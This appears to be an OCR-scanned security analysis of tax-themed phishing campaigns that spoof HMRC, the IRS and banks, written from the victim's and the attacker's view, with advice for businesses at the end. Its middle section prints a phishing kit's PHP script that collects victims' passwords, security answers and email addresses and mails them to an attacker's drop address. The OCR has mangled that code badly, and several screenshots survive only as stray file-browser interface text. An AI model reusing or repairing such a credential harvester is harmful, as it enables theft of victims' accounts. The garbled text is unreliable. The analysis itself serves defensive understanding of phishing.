How Does The Scheme Work?

Although hacker groups operate with intentions to defraud consumers, it is
interesting to describe their attempts from the perspective of both the victim and
the hacker.

1.  Thevictim’s perspective — Traditional phishing attempts with a tax-centric
theme.

First, the phishing email:
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Second, the forged site:
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1. The hacker’s perspective — As we’ve seen with Gmail, Yahoo!, and other common
phishing schemes automation was used to reduce the time and cost involved with
setup, deployment, and monitoring.

First, the hacker’s code designating a Gmail drop box for stolen credentials:

oo

1 B<?

2 §1p = getenv("RENOTE_ADDR"):

3 $message ,* Tecccccae- YB ONLINE= === \n";

4 §message . * Mee—eeeeee Your Login Information--—-—-————=-— \n":

) §wessage .= "CustomerNumber: ".§ POST['customernuwber'].”\n";

6 $message . MTemeemmm—- Your PASSUORD === mmmm \n":

7 §message .= "Passvord: ".§ POST('fullPasswvord']."\n":

8 fmessage = Meeccccaas Your Verification Detalls---w--w \n";

9 $message .~ "Type your 1st security question: ".§ POST['ql'}."\n":
10 §message .= "Type your 1st security answer: ".§ POST['al']."\n":
11 §message .= "Type your Znd security quescion: ".§ POST['qg2']."\n":
12 $message .~ "Type your 2nd security answer: ".§_POST('a2']."\n":
13 §message .= "Type your 3rd security question: ".§ POST['q3']."\n";
14 §message .= "Type your 3rd security answer: ".§ POST['a3']."\n":
15 $message . * Temmeeeee- Your EMAIL-======- \n";

16 §message .= "Confirm your current E-mail Address: ".§ POST['email’']."\n":

7 $message .= "IP: ".§ip."\n":;

18 B et ———— RN

15 @ "R [ 110a 1 | . o, o8 1ive.com™; >
20 §aubject = "YB ONLINE"™:

21 $headers = "YB CONLINE":

22 §headers .= § POST['eMaillAdd']."\n":

23 $headers .~ "HINE-Version: 1.0\n";

4 if (mail (§recipient, §subject, imessage, $headers))

25 “{echo "<script>location.replace('hmrcfinish.htm');</scripe>";) >
26 [l<html>
27 “<neads|

Second, the code where the hacker designates a false email alias:
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1 //sending emall 1nfo hete
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Third, the spoofed website:
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Fourth, an illustration of the downloadable kits that help hackers set up their
schemes:

File Edit WView Favorites Tools Help
Qe - © - (T Pseweh [ roes [
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File and Folder Tasks

() Make & new folder
&) Publish this folder to the
Web

ki Share this folder

Fifth, a list of banks the hacker kits provide for spoofing:



@ allaccounts

Fle Edt View Favorites Tools HMelp

Qe - O (F Pseacn [ roders | [T

File and Folder Tasks

o) Make & new folder
&) Fublsh this foldar to the
web

& Share this folder

Sixth, another example of fake refund portals:

@ RefundPortals
Fle Edt View Favortes Tools Mep

@m- “) L, /:\'Socch i Folders -

File and Folder Tasks

) Make & new foider
&) Publsh this folder to the
Web

& Share this Folder

Other Places

) HVRC_muki
L) My Documents
£ Shared Documents
j My Computer

&g My Network Flsces

Seventh, a hacker kit to spoof the IRS:
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& C@atepath.com firs/
Index of /Irs

* Parent Directory

Eighth, a screenshot showing links to spoofed banks set up by the hacker kits.
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Avoiding the Schemes
There are two problems associated with this phishing campaign:
1. The target of the phishing scheme, consumers.
2. The unwitting hosts of the phishing scheme, businesses.

Given the persistence and frequency of phishing, especially the resurgence of current tax
schemes, we are less hopeful that a consumer-centric solution will have a sufficient impact.
Like it or not, this means businesses will have to bear the burden. Considering the real
business impact, enterprises need to know if they are hosting a phishing site. Here is an

example of Google labels businesses suspected of hosting a phishing site—a virtual kiss of
death:
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This current phishing campaign underscores the need for businesses to adopt an effective
data and application security approach. To avoid becoming a hosting place for a phishing
site, business websites must protect their application from attacks such as cross-site scripting
(XSS) and SQL injection.



